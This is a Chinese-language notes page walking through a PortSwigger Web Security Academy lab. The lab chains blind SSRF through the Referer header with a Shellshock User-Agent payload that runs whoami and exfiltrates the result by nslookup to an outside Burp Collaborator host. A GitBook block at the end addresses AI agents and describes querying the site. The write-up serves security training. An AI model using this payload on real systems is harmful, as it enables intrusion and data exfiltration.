> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssrf/blind-ssrf-exploited-via-shellshock.md).

# 通过 Shellshock 利用的盲 SSRF

通过 Shellshock 利用的盲 SSRF 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用 Shellshock 漏洞进行盲 SSRF

该站点使用一个分析模块，会恢复在请求头中提供的 URL **Referer** 每次查看产品页面时都会执行。/ 要解决该实验室，你必须将此功能引导为执行一次盲 **SSRF** 到位于该范围内的内部服务器 **192.168.0.X** 在端口 **8080**。/ 在盲攻击期间，一个载荷 **Shellshock** 必须注入以外带系统的用户名。

#### 初始观察

当访问产品页面时，站点确实会根据请求头发送请求 **Referer**:

```
Referer: https://uki6j3wedmsljxlwoclacsdxtozhn7bw.oastify.com/
```

这证实了该应用会自动访问此请求头中提供的 URL。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8648879c8e84c14fbbb5a342cf24d41fce747be4%2Fimage%20(332).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 通过盲 SSRF 利用

目标是迫使应用程序联系一个内部主机：

```
Referer: http://192.168.X:8080
```

由于内部服务易受 **Shellshock**，因此将一个载荷注入到 **User-Agent** 请求头中，该请求头会被目标服务器解析。

该载荷会执行一条命令，以外带 `whoami` 结果，通过发送到 **Burp Collaborator**:

```bash
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).isep8p4f4itsik7zvx76ataoyf47sygn.oastify.com
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb770c982950777b118252fe9c02390f03bee28c%2Fimage%20(333).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 结果

在 Collaborator 端会出现一个 DNS 查询，其中包含系统用户名。/ 在此情况下，返回的用户是：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f114b9d5c1349769f3c42e5b5742a81cffa4d64%2Fimage%20(334).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssrf/blind-ssrf-exploited-via-shellshock.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
